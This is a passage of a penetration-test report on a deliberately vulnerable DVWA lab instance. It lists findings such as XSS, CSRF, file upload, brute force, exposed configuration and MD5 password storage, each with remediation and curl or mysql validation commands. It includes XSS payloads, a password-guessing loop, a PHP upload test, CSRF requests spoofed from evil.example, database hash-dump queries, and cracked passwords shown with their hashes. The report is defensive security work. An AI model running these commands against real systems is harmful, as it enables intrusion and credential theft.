$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C/script%3E'
$ curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/xss_r/?name=%3Csvg%2Fonload%3Dalert(1)%3E' | grep -i 'svg'
```

HIGH VULN-cold-mat-0010

Stored XSS in /vulnerabilities/xss_s/

CWE: CWE-79 | CVSS: 6.1 | AV: XSS | Asset: http://172.17.0.3/vulnerabilities/xss_s/ on port 80 | Target: http://172.17.0.3 | OWASP: A03:2021 – Injection

DESCRIPTION

The stored XSS module at /vulnerabilities/xss_s/ was confirmed vulnerable. Malicious JavaScript can be stored by the application and later executed in other users' browsers.

IMPACT

Stored XSS persists malicious JavaScript in the application and executes it for future users, increasing the likelihood of broad account compromise. Administrative users viewing infected content may have privileged sessions hijacked.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [HIGH] Stored XSS in vulnerabilities/xss_s/ on port 80
```

manual_xss_s_evidence.txt exploit_output 580 B

REMEDIATION

IMMEDIATE (24-48H)

Remove malicious stored content and temporarily disable user-controlled HTML submission.

SHORT-TERM (1-2 WEEKS)

Encode output by context, sanitize rich text with a proven library, and enforce a restrictive CSP.

LONG-TERM (1-3 MONTHS)

Adopt secure content handling patterns and include stored-XSS checks in QA and CI/CD security testing.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/xss_s/'
$ curl -i -X POST -d 'txtName=test&mtxMessage=%3Cscript%3Ealert(1)%3C/script%3E&btnSign=Sign+Guestbook'
'http://<TARGET_DOMAIN>/vulnerabilities/xss_s/'
$ curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/xss_s/' | grep -i 'script'
```

HIGH VULN-cold-mat-0011

Cross-Site Request Forgery in /vulnerabilities/csrf/

CWE: CWE-352 | CVSS: 6.5 | AV: CSRF | Asset: http://172.17.0.3/vulnerabilities/csrf/ on port 80 | Target: http://172.17.0.3 | OWASP: A01:2021 – Broken Access Control

DESCRIPTION

The CSRF module at /vulnerabilities/csrf/ was confirmed vulnerable. An attacker can trick an authenticated user into submitting unintended requests, potentially changing account or application state.

IMPACT

Attackers can cause authenticated users to perform unintended state-changing actions, such as account or password changes. This can result in account takeover, data tampering, and loss of trust in application integrity.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [HIGH] CSRF in vulnerabilities/csrf/ on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Disable vulnerable state-changing actions or require re-authentication until CSRF protection is added.

SHORT-TERM (1-2 WEEKS)

Add unpredictable anti-CSRF tokens, SameSite cookies, and Origin/Referer validation to all state-changing requests.

LONG-TERM (1-3 MONTHS)

Centralize CSRF protection in the application framework and add automated tests for token enforcement.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/csrf/'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/csrf/?password_new=test123&password_conf=test123&Change=Change'
$ curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/csrf/' | grep -i 'user_token'
```

HIGH VULN-cold-mat-0012

Brute Force Weakness in /vulnerabilities/brute/

AV: Brute Force | Asset: http://172.17.0.3/vulnerabilities/brute/ on port 80 | Target: http://172.17.0.3

DESCRIPTION

The brute force module at /vulnerabilities/brute/ was confirmed vulnerable. Insufficient protection against repeated login attempts may allow attackers to guess valid credentials.

IMPACT

Weak brute-force controls allow attackers to automate credential guessing and compromise valid user accounts. Successful account takeover may expose sensitive data or provide a foothold for further exploitation.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [HIGH] Brute Force in vulnerabilities/brute/ on port 80
```

findings.txt exploit_output 4,809 B

REMEDIATION

IMMEDIATE (24-48H)

Add temporary rate limiting at the web server or WAF for login and brute-force endpoints.

SHORT-TERM (1-2 WEEKS)

Implement account lockout, progressive delays, MFA, and credential stuffing detection.

LONG-TERM (1-3 MONTHS)

Adopt centralized identity controls with risk-based authentication and continuous attack monitoring.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/brute/'
$ for p in password 123456 admin; do curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/brute/?
username=admin&password='$p'&Login=Login' | grep -i 'Username'; done
$ curl -I 'http://<TARGET_DOMAIN>/vulnerabilities/brute/'
```

HIGH VULN-cold-mat-0013

Insecure CAPTCHA in /vulnerabilities/captcha/

AV: CAPTCHA Bypass | Asset: http://172.17.0.3/vulnerabilities/captcha/ on port 80 | Target: http://172.17.0.3

DESCRIPTION

The CAPTCHA implementation at /vulnerabilities/captcha/ was confirmed insecure. Attackers may bypass CAPTCHA protections and automate protected actions. **Also includes:** Empty reCAPTCHA Key in CAPTCHA Module

IMPACT

An ineffective CAPTCHA allows attackers to automate protected workflows, including password changes, submissions, or abuse-prone actions. This reduces the effectiveness of anti-automation controls and can support account abuse at scale.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [HIGH] Insecure CAPTCHA in vulnerabilities/captcha/ on port 80
```

subagent_summary.md exploit_output 6,818 B

REMEDIATION

IMMEDIATE (24-48H)

Disable the CAPTCHA-protected action or enforce server-side validation before accepting requests.

SHORT-TERM (1-2 WEEKS)

Configure valid CAPTCHA keys and verify tokens server-side with the CAPTCHA provider.

LONG-TERM (1-3 MONTHS)

Use layered bot defenses including rate limits, behavioral detection, and risk-based challenges.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/captcha/'
$ curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/captcha/' | grep -i 'recaptcha'
$ curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/captcha/' | grep -i 'sitekey'
```

HIGH VULN-cold-mat-0014

Unrestricted File Upload in /vulnerabilities/upload/

CWE: CWE-434 | CVSS: 8.8 | AV: File Upload | Asset: http://172.17.0.3/vulnerabilities/upload/ on port 80 | Target: http://172.17.0.3

DESCRIPTION

The file upload module at /vulnerabilities/upload/ was confirmed vulnerable. An attacker may upload malicious files, potentially leading to stored XSS, web shell upload, or remote code execution depending on server handling. **Also includes:** Multiple PHP Shell Artifacts in Upload Directory

IMPACT

Unrestricted uploads can allow attackers to place executable files or malicious content on the server. If uploaded files are served or executed, this can lead to webshells, malware hosting, or complete application compromise.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [HIGH] File Upload in vulnerabilities/upload/ on port 80
```

webshell_session.txt exploit_output 994 B

REMEDIATION

IMMEDIATE (24-48H)

Disable uploads or block executable extensions and execution in the upload directory immediately.

SHORT-TERM (1-2 WEEKS)

Validate files by magic bytes, rename uploads, store them outside the web root, and apply restrictive permissions.

LONG-TERM (1-3 MONTHS)

Use a dedicated object storage service with malware scanning, content validation, and non-executable delivery.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/upload/'
$ printf '<?php echo 123; ?>' > /tmp/test.php; curl -i -F 'uploaded=@/tmp/test.php;type=application/x-php' -F
'Upload=Upload' 'http://<TARGET_DOMAIN>/vulnerabilities/upload/'
$ curl -i 'http://<TARGET_DOMAIN>/hackable/uploads/test.php'
```

HIGH VULN-cold-mat-0015

Exposed php.ini with Dangerous PHP Settings

`AV: Information Disclosure`

`Asset: http://172.17.0.3/php.ini on port 80; PHP settings magic_quotes_gpc=Off, allow_url_fopen=On, allow_url_include=On`

`Target: http://172.17.0.3`

DESCRIPTION

The php.ini configuration file is exposed at /php.ini and reveals dangerous settings including magic_quotes_gpc=Off, allow_url_fopen=On, and allow_url_include=On. This discloses configuration details and confirms settings that facilitate remote file inclusion and injection attacks. **Also includes:** Exposed PHP configuration file

IMPACT

Exposed PHP configuration discloses sensitive server settings and confirms dangerous options that enable more severe attacks. Attackers can use this information to tailor file inclusion, injection, and environment-specific exploitation.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
- /php.ini: magic_quotes_gpc=Off, allow_url_fopen=On, allow_url_include=On (enables RFI)
```

REMEDIATION

IMMEDIATE (24-48H)

Remove php.ini from the web root or deny direct web access to configuration files.

SHORT-TERM (1-2 WEEKS)

Disable allow_url_include, review allow_url_fopen necessity, and harden PHP runtime settings.

LONG-TERM (1-3 MONTHS)

Manage runtime configuration through secured deployment automation and periodic configuration compliance checks.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/php.ini'
$ curl -s 'http://<TARGET_DOMAIN>/php.ini' | grep -Ei 'allow_url_fopen|allow_url_include|magic_quotes_gpc'
$ curl -I 'http://<TARGET_DOMAIN>/php.ini'
```

HIGH VULN-cold-mat-0016

Authenticated phpinfo.php Exposure

AV: Information Disclosure | Asset: http://172.17.0.3/phpinfo.php on port 80 | Target: http://172.17.0.3

DESCRIPTION

The phpinfo.php page is accessible to authenticated users. This exposes detailed PHP, server, path, module, and environment configuration information that can assist attackers in further exploitation.

IMPACT

phpinfo exposure reveals detailed server paths, modules, versions, and environment variables that help attackers plan exploitation. This information can reduce attack effort and increase the likelihood of successful compromise.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
VULNERABILITY: [HIGH] phpinfo.php accessible when authenticated at /phpinfo.php on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Delete phpinfo.php or restrict it to administrators from trusted networks only.

SHORT-TERM (1-2 WEEKS)

Audit the web root for diagnostic files and remove all nonessential debugging pages.

LONG-TERM (1-3 MONTHS)

Implement deployment checks that prevent diagnostic scripts and environment disclosure from being published.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/phpinfo.php'
$ curl -s 'http://<TARGET_DOMAIN>/phpinfo.php' | grep -i 'php version'
$ curl -s 'http://<TARGET_DOMAIN>/phpinfo.php' | grep -Ei 'document_root|loaded configuration'
```

HIGH VULN-cold-mat-0020

Exposed DVWA Configuration with Default Database Credentials

AV: Credential Exposure | Asset: http://172.17.0.3/config/config.inc.php on port 80 | Target: http://172.17.0.3

DESCRIPTION

The DVWA configuration file was reported accessible and contains default database credentials. Exposure of database credentials can allow unauthorized database access or support further compromise. **Also includes:** Exposed Application Configuration File

IMPACT

Exposed configuration files containing database credentials can allow unauthorized database access and broader application compromise. Default credentials also enable attackers to reuse known values across services.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
- /config/config.inc.php (DVWA default DB creds: root:root@localhost)
```

db_credentials.txt exploit_output 258 B

REMEDIATION

IMMEDIATE (24-48H)

Block web access to the config directory and rotate any exposed database credentials immediately.

SHORT-TERM (1-2 WEEKS)

Move secrets outside the web root and load them from protected environment variables or a secrets store.

LONG-TERM (1-3 MONTHS)

Adopt centralized secrets management, secret scanning, and automated controls to prevent credential exposure.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/config/config.inc.php'
$ curl -s 'http://<TARGET_DOMAIN>/config/config.inc.php' | grep -Ei 'db_user|db_password|root'
$ curl -I 'http://<TARGET_DOMAIN>/config/config.inc.php'
```

HIGH VULN-cold-mat-0025

PHP allow_url_include Enabled

AV: Security misconfiguration | Asset: http://172.17.0.3/php.ini on port 80 | Target: http://172.17.0.3

DESCRIPTION

The PHP configuration exposes allow_url_include as enabled. This insecure setting permits inclusion of remote files and increases the impact of file inclusion vulnerabilities, potentially enabling remote code execution. **Also includes:** PHP allow_url_fopen Enabled, Insecure PHP configuration allows dangerous functionality

IMPACT

allow_url_include permits PHP to include remote resources, increasing the impact of file inclusion bugs to remote code execution. This setting can turn otherwise limited input flaws into full server compromise.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
allow_url_include = On
```

REMEDIATION

IMMEDIATE (24-48H)

Set allow_url_include=Off and reload the web/PHP service immediately.

SHORT-TERM (1-2 WEEKS)

Review all PHP file inclusion logic and disable allow_url_fopen unless explicitly required.

LONG-TERM (1-3 MONTHS)

Maintain hardened PHP baselines and enforce configuration drift detection across environments.

VALIDATION STEPS

```
$ curl -s 'http://<TARGET_DOMAIN>/php.ini' | grep -i 'allow_url_include'
$ curl -s 'http://<TARGET_DOMAIN>/php.ini' | grep -i 'allow_url_fopen'
$ curl -i 'http://<TARGET_DOMAIN>/php.ini'
```

HIGH VULN-cold-mat-0041

DOM XSS via eval() in popUp() function

CWE: CWE-79 | CVSS: 6.1 | AV: DOM XSS | Asset: dvwaPage.js popUp(URL) function on http://172.17.0.3 | Target: http://172.17.0.3 | OWASP: A03:2021 – Injection

DESCRIPTION

Client-side JavaScript uses eval() with a user-controlled URL value in the popUp(URL) function. If attacker-controlled input reaches this function, arbitrary JavaScript execution in the victim browser is possible. **Also includes:** DOM XSS simulation via security.php test parameter

IMPACT

Client-side eval() on user-controlled values can execute attacker-supplied JavaScript in a victim's browser. This enables session theft, phishing, or unauthorized actions performed as the victim.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
eval("page" + id + " = window.open(URL, ...)")
```

dom_xss_analysis.txt exploit_output 1,033 B

REMEDIATION

IMMEDIATE (24-48H)

Remove or disable the eval-based popUp function until it is rewritten safely.

SHORT-TERM (1-2 WEEKS)

Replace eval() with safe DOM APIs and strictly validate any URL values before use.

LONG-TERM (1-3 MONTHS)

Ban dangerous JavaScript APIs through linting, code review, and CSP that blocks inline script execution.

VALIDATION STEPS

```
$ curl -s 'http://<TARGET_DOMAIN>/dvwa/js/dvwaPage.js' | grep -n 'eval'
$ curl -s 'http://<TARGET_DOMAIN>/dvwa/js/dvwaPage.js' | grep -n 'popUp'
$ curl -i 'http://<TARGET_DOMAIN>/security.php?test=alert(1)'
```

HIGH VULN-cold-mat-0042

PHPIDS log viewer accessible

AV: information disclosure | Asset: http://172.17.0.3/ids_log.php | Target: http://172.17.0.3

DESCRIPTION

The PHPIDS log viewer is accessible with a standard authenticated session. This may expose attack patterns, detection rules, and monitoring capabilities to attackers.

IMPACT

Accessible security logs can reveal detection logic, attack history, and internal paths, helping attackers tune payloads to evade monitoring. This weakens defensive visibility and may expose sensitive operational information.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
GET http://172.17.0.3/ids_log.php
```

REMEDIATION

IMMEDIATE (24-48H)

Restrict ids_log.php to administrators or trusted management IPs immediately.

SHORT-TERM (1-2 WEEKS)

Move security logs outside the application interface and require strong admin authorization.

LONG-TERM (1-3 MONTHS)

Centralize logging in a SIEM with role-based access control and audit trails.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/ids_log.php'
$ curl -s 'http://<TARGET_DOMAIN>/ids_log.php' | grep -Ei 'phpids|impact|filter'
$ curl -I 'http://<TARGET_DOMAIN>/ids_log.php'
```

HIGH VULN-cold-mat-0050

Weak Password Storage Using MD5 Hashes

AV: Offline password cracking | Asset: dvwa.users database table | Target: http://172.17.0.3

DESCRIPTION

User passwords in the dvwa.users table are stored as MD5 hashes. MD5 is fast and cryptographically broken, making stored passwords highly susceptible to offline cracking after database disclosure. The assessment confirmed multiple hashes were cracked to weak plaintext passwords.

IMPACT

MD5 password hashes are easy to crack offline, especially for weak passwords, leading to account takeover. Reused passwords may also compromise other internal or external systems.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
Extracted password hashes and cracked plaintexts: admin:password (5f4dcc3b5aa765d61d8327deb882cf99), gordonb:abc123
(e99a18c428cb38d5f260853678922e03), pablo:letmein (0d107d09f5bbe40cade3de5c71e9e9b7), smithy:password
(5f4dcc3b5aa765d61d8327deb882cf99), 1337:charley (8d3533d75ae2c3966d7e0d4fcc69216b)
```

extracted_credentials.txt exploit_output 534 B

REMEDIATION

IMMEDIATE (24-48H)

Force password resets for affected users and prevent login with known weak/default passwords.

SHORT-TERM (1-2 WEEKS)

Migrate password storage to bcrypt, Argon2id, or PBKDF2 with per-user salts and appropriate work factors.

LONG-TERM (1-3 MONTHS)

Implement password policy governance, breached-password checks, and periodic credential storage reviews.

VALIDATION STEPS

```
$ mysql -h <TARGET_DOMAIN> -u root -e 'SELECT user,password FROM dvwa.users;'
$ mysql -h <TARGET_DOMAIN> -u root -e 'SELECT LENGTH(password), COUNT(*) FROM dvwa.users GROUP BY LENGTH(password);'
$ mysql -h <TARGET_DOMAIN> -u root -e 'SELECT password FROM dvwa.users LIMIT 5;'
```

HIGH VULN-cold-mat-0055

Session Fixation on Authentication

AV: Session fixation | Asset: http://172.17.0.3/login.php, PHPSESSID cookie, port 80 | Target: http://172.17.0.3

DESCRIPTION

The application does not regenerate the PHP session ID after authentication. An attacker who can set or obtain a victim's pre-authentication session ID could retain the same session after the victim logs in, enabling session hijacking.

IMPACT

Failure to regenerate session IDs after login enables session fixation, where an attacker-controlled session becomes authenticated by the victim. This can result in unauthorized account access without stealing credentials.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium

DIMENSION	RATING
Availability	Low
Compliance	High

EVIDENCE

```
Pre-auth PHPSESSID: 889kcd7i7910fkj894g1j1ih37; Post-auth PHPSESSID: 889kcd7i7910fkj894g1j1ih37 (IDENTICAL); PoC: curl login retaining pre-auth cookie grants authenticated access
```

session_fixation_evidence.txt exploit_output 487 B

REMEDIATION

IMMEDIATE (24-48H)

Force logout of active sessions and update authentication logic to regenerate session IDs on login.

SHORT-TERM (1-2 WEEKS)

Regenerate session identifiers on privilege changes and invalidate prior anonymous session state.

LONG-TERM (1-3 MONTHS)

Adopt hardened framework session management with automated tests for fixation, rotation, and invalidation.

VALIDATION STEPS

```
$ curl -i -c /tmp/dvwa.cookies 'http://<TARGET_DOMAIN>/login.php'
$ grep PHPSESSID /tmp/dvwa.cookies
$ curl -i -b /tmp/dvwa.cookies -c /tmp/dvwa_after.cookies -d 'username=admin&password=password&Login=Login' 'http://<TARGET_DOMAIN>/login.php'; grep PHPSESSID /tmp/dvwa_after.cookies
```

HIGH VULN-cold-mat-0056

No Brute Force Protection on Login Form

AV: Brute force | Asset: http://172.17.0.3/login.php on port 80 | Target: http://172.17.0.3

DESCRIPTION

The login form does not enforce rate limiting or account lockout controls. The tester performed multiple login attempts rapidly without being blocked, enabling credential brute force attacks.

IMPACT

Attackers can rapidly test credentials against the login form, increasing the likelihood of account compromise. This can lead to unauthorized access, data exposure, and further internal exploitation.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
10 attempts in 0.08s, no rate limiting
```

REMEDIATION

IMMEDIATE (24-48H)

Apply emergency rate limiting per IP and username on login requests.

SHORT-TERM (1-2 WEEKS)

Implement account lockout/progressive delays, MFA, logging, and alerting for repeated failures.

LONG-TERM (1-3 MONTHS)

Use centralized identity protection with credential stuffing detection and adaptive authentication.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/login.php'
$ for p in password admin 123456 wrongpass; do curl -s -o /dev/null -w '%{http_code}\n' -d
'username=admin&password='$p'&Login=Login' 'http://<TARGET_DOMAIN>/login.php'; done
$ curl -I 'http://<TARGET_DOMAIN>/login.php'
```

HIGH VULN-cold-mat-0066

Missing Referer and Origin Validation

AV: CSRF | Asset: http://172.17.0.3/vulnerabilities/csrf/ | Target: http://172.17.0.3

DESCRIPTION

State-changing requests were accepted even when Referer or Origin headers were missing or incorrect. This weakens CSRF defenses and allows cross-site requests to perform sensitive actions such as password changes.

IMPACT

State-changing requests accepted without Origin or Referer validation are more susceptible to CSRF attacks. Attackers may trick authenticated users into changing passwords or application settings.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
Wrong or missing Referer/Origin headers still allowed password change
```

REMEDIATION

IMMEDIATE (24-48H)

Block sensitive state-changing requests lacking valid CSRF tokens or trusted Origin/Referer headers.

SHORT-TERM (1-2 WEEKS)

Add token validation, SameSite cookies, and strict Origin/Referer checks to all state-changing endpoints.

LONG-TERM (1-3 MONTHS)

Centralize request integrity protections in the framework and continuously test CSRF controls.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/csrf/?password_new=test123&password_conf=test123&Change=Change'
$ curl -i -H 'Origin: http://evil.example' 'http://<TARGET_DOMAIN>/vulnerabilities/csrf/?
password_new=test123&password_conf=test123&Change=Change'
$ curl -i -H 'Referer: http://evil.example/' 'http://<TARGET_DOMAIN>/vulnerabilities/csrf/?
password_new=test123&password_conf=test123&Change=Change'
```

HIGH VULN-cold-mat-0069

Horizontal IDOR in SQL Injection module exposes other users' data

CWE: CWE-89 | CVSS: 9.8 | AV: IDOR / parameter manipulation

Asset: http://172.17.0.3/vulnerabilities/sqli/?id=<NUMERIC_ID>&Submit=Submit | Target: http://172.17.0.3 | OWASP: A03:2021 – Injection

DESCRIPTION

Any authenticated user can access other users' profile data by manipulating the numeric id parameter in the SQL Injection module. This allows unauthorized access to other user records, including admin data.

IMPACT

Authenticated users can access other users' records by changing an ID parameter, exposing private profile or administrative data. This violates tenant/user data isolation and can support privilege escalation.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low
Compliance	High

EVIDENCE

```
Authenticated as gordonb (ID=2), accessing /vulnerabilities/sqli/?id=1&Submit=Submit returned admin (ID=1) data
```

idor_sqli_poc.txt exploit_output 1,329 B

REMEDIATION

IMMEDIATE (24-48H)

Restrict the affected endpoint or block access for non-admin users until authorization is fixed.

SHORT-TERM (1-2 WEEKS)

Enforce object-level authorization and parameterized queries for every user record lookup.

LONG-TERM (1-3 MONTHS)

Implement centralized object access controls and automated IDOR testing for all user-scoped resources.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli/?id=1&Submit=Submit'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli/?id=2&Submit=Submit'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli/?id=3&Submit=Submit'
```

HIGH VULN-cold-mat-0077

MySQL Password Hash Disclosure

AV: Credential Dumping | Asset: mysql 172.17.0.3:3306 | Target: http://172.17.0.3

DESCRIPTION

The MySQL hashdump module successfully extracted password hashes from the database. Disclosure of password hashes can enable offline password cracking and further credential compromise. **Also includes:** Password Hash Disclosure from DVWA and MySQL Tables

IMPACT

Disclosure of password hashes enables offline cracking and credential reuse attacks. Compromised database or application credentials can lead to broader unauthorized access.

DIMENSION	RATING
Confidentiality	High
Integrity	Medium
Availability	Low

DIMENSION	RATING
Compliance	High

EVIDENCE

```
auxiliary/scanner/mysql/mysql_hashdump Result: SUCCESS - Extracted MySQL password hashes
root:*D7E39C3AF517EC9EF7086223B036E0B4F22821F8 debian-sys-maint:*AB05E804D3FCF1FFD182AB04CF0D042D25F84E05
```

msf_mysql_hashdump_output.txt exploit_output 511 B

REMEDIATION

IMMEDIATE (24-48H)

Rotate exposed credentials and restrict database access immediately.

SHORT-TERM (1-2 WEEKS)

Remove unnecessary hashdump functionality, harden database privileges, and migrate weak password hashes.

LONG-TERM (1-3 MONTHS)

Deploy database activity monitoring, secrets governance, and strong password hashing standards.

VALIDATION STEPS

```
$ mysql -h <TARGET_DOMAIN> -u root -e 'SELECT user,password FROM dvwa.users;'
$ mysql -h <TARGET_DOMAIN> -u root -e 'SELECT User,Password FROM mysql.user;'
$ mysql -h <TARGET_DOMAIN> -u root -e 'SHOW DATABASES;'
```

HIGH VULN-cold-mat-0084

World-Writable Web Root Permissions

AV: Insecure file permissions | Asset: /var/www/html/ | Target: http://172.17.0.3

DESCRIPTION

The web root directory was configured as world-writable. This unsafe permission setting can allow unauthorized modification of web content and facilitate webshell placement or persistence if any write primitive is obtained.

IMPACT

World-writable web root permissions allow any local user or compromised process with write access to alter hosted content. If attackers gain any write primitive, they can deploy persistent webshells or deface the site.

DIMENSION	RATING
Confidentiality	High
Integrity	High
Availability	Low
Compliance	High

EVIDENCE

```
Webroot permissions: /var/www/html/ drwxrwxrwx root root
```

REMEDIATION

IMMEDIATE (24-48H)

Remove world-writable permissions from /var/www/html and restore ownership to the web deployment user/group.

SHORT-TERM (1-2 WEEKS)

Set least-privilege filesystem permissions and ensure the web server cannot write to executable directories.

LONG-TERM (1-3 MONTHS)

> Implement immutable deployments, file integrity monitoring, and configuration management for webroot permissions.

VALIDATION STEPS

```
$ ssh <TARGET_DOMAIN> 'ls -ld /var/www/html/'
$ ssh <TARGET_DOMAIN> 'find /var/www/html -maxdepth 1 -perm -0002 -ls'
$ ssh <TARGET_DOMAIN> 'stat -c %a:%U:%G /var/www/html/'
```

07

Medium Severity Findings

MEDIUM VULN-cold-mat-0017

Directory Listing Enabled on Sensitive Paths

CWE: CWE-548 | CVSS: 5.3 | AV: Directory Listing

Asset: http://172.17.0.3/hackable/, http://172.17.0.3/external/phpids/, http://172.17.0.3/vulnerabilities/ on port 80

Target: http://172.17.0.3 | OWASP: A05:2021 – Security Misconfiguration

DESCRIPTION

Directory listing is enabled on sensitive application paths. Attackers can browse files and directories, potentially discovering sensitive resources, application structure, or files useful for exploitation. **Also includes:** Directory Listing Enabled

IMPACT

Directory listings expose application structure and files that may assist attackers in identifying sensitive resources. This can accelerate discovery of exploitable files, backup artifacts, or source code.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Medium
Availability	Low
Compliance	Medium

EVIDENCE

```
VULNERABILITY: [MEDIUM] Directory listing enabled on /hackable/, /external/phpids/, /vulnerabilities/ on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Disable autoindex/directory listing for affected paths or add access-denying index files.

SHORT-TERM (1-2 WEEKS)

Review exposed directories and remove files that are not required for runtime operation.

LONG-TERM (1-3 MONTHS)

Enforce secure web server baselines and deployment scans that detect directory indexing before release.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/hackable/'
$ curl -i 'http://<TARGET_DOMAIN>/external/phpids/'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/'
```

MEDIUM VULN-cold-mat-0018

User Enumeration via /hackable/users/ Directory Listing

CWE: CWE-548 | CVSS: 5.3 | AV: User Enumeration | Asset: http://172.17.0.3/hackable/users/ on port 80 | Target: http://172.17.0.3

OWASP: A05:2021 – Security Misconfiguration

DESCRIPTION

The /hackable/users/ directory listing exposes application user accounts. This allows attackers to enumerate valid usernames and use them in targeted brute-force or social engineering attacks. **Also includes:** Directory Listing

Exposed for User Files

IMPACT

Exposed user directories allow attackers to enumerate valid accounts and user-related files. This information can improve brute-force, phishing, and targeted social engineering attacks.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Medium
Availability	Low
Compliance	Medium

EVIDENCE

```
User Accounts (from /hackable/users/)
- admin, gordonb, pablo, smithy, 1337
```

REMEDIATION

IMMEDIATE (24-48H)

Disable directory listing for /hackable/users/ immediately.

SHORT-TERM (1-2 WEEKS)

Move user files outside public browsing paths and serve them through authorized application handlers.

LONG-TERM (1-3 MONTHS)

Implement secure file storage architecture with access control, non-enumerable identifiers, and privacy reviews.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/hackable/users/'
$ curl -s 'http://<TARGET_DOMAIN>/hackable/users/' | grep -Ei 'Index of|Parent Directory'
$ curl -s 'http://<TARGET_DOMAIN>/hackable/users/' | grep -Ei 'admin|user|jpg|png'
```

MEDIUM VULN-cold-mat-0019

Application Documentation Exposed

AV: Information Disclosure

Asset: http://172.17.0.3/README.md, http://172.17.0.3/CHANGELOG.md, http://172.17.0.3/docs/DVWA_v1.3.pdf on port 80

Target: http://172.17.0.3

DESCRIPTION

Application documentation files are publicly accessible. These files may disclose version information, configuration details, historical changes, and application behavior that can aid attackers.

IMPACT

Public documentation can disclose versions, configuration assumptions, and application behavior that help attackers plan targeted attacks. This increases reconnaissance value and may expose known-vulnerable components.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Low
Availability	Low
Compliance	Medium

EVIDENCE

```
VULNERABILITY: [MEDIUM] Application documentation exposed (/README.md, /CHANGELOG.md, /docs/DVWA_v1.3.pdf) on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Remove public access to documentation files not required by the application.

SHORT-TERM (1-2 WEEKS)

Audit the web root for markdown, changelog, backup, and documentation artifacts and deny access to them.

LONG-TERM (1-3 MONTHS)

Add release pipeline checks that prevent non-runtime documentation and metadata from being deployed publicly.

VALIDATION STEPS

```
$ curl -I 'http://<TARGET_DOMAIN>/README.md'
$ curl -I 'http://<TARGET_DOMAIN>/CHANGELOG.md'
$ curl -I 'http://<TARGET_DOMAIN>/docs/DVWA_v1.3.pdf'
```

MEDIUM VULN-cold-mat-0038

Session Cookies Missing Security Attributes

AV: Cookie security misconfiguration | Asset: PHPSESSID cookie, security cookie | Target: http://172.17.0.3

DESCRIPTION

The PHPSESSID and security cookies are missing HttpOnly, Secure, and SameSite attributes. Without HttpOnly, cookies may be accessible to client-side scripts during XSS attacks. Without Secure, cookies may be transmitted over unencrypted connections. Without SameSite, cookies are more exposed to cross-site request forgery scenarios. **Also includes:** PHPSESSID Cookie Missing HttpOnly Flag

IMPACT

Missing cookie attributes increase the risk of session theft through XSS, interception over insecure transport, and CSRF. Compromised cookies can allow unauthorized access to authenticated user sessions.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Medium
Availability	Low
Compliance	Medium

EVIDENCE

```
`PHPSESSID`: Missing `HttpOnly`, `Secure`, `SameSite` flags; `security`: Missing `HttpOnly`, `Secure`, `SameSite` flags
```

REMEDIATION

IMMEDIATE (24-48H)

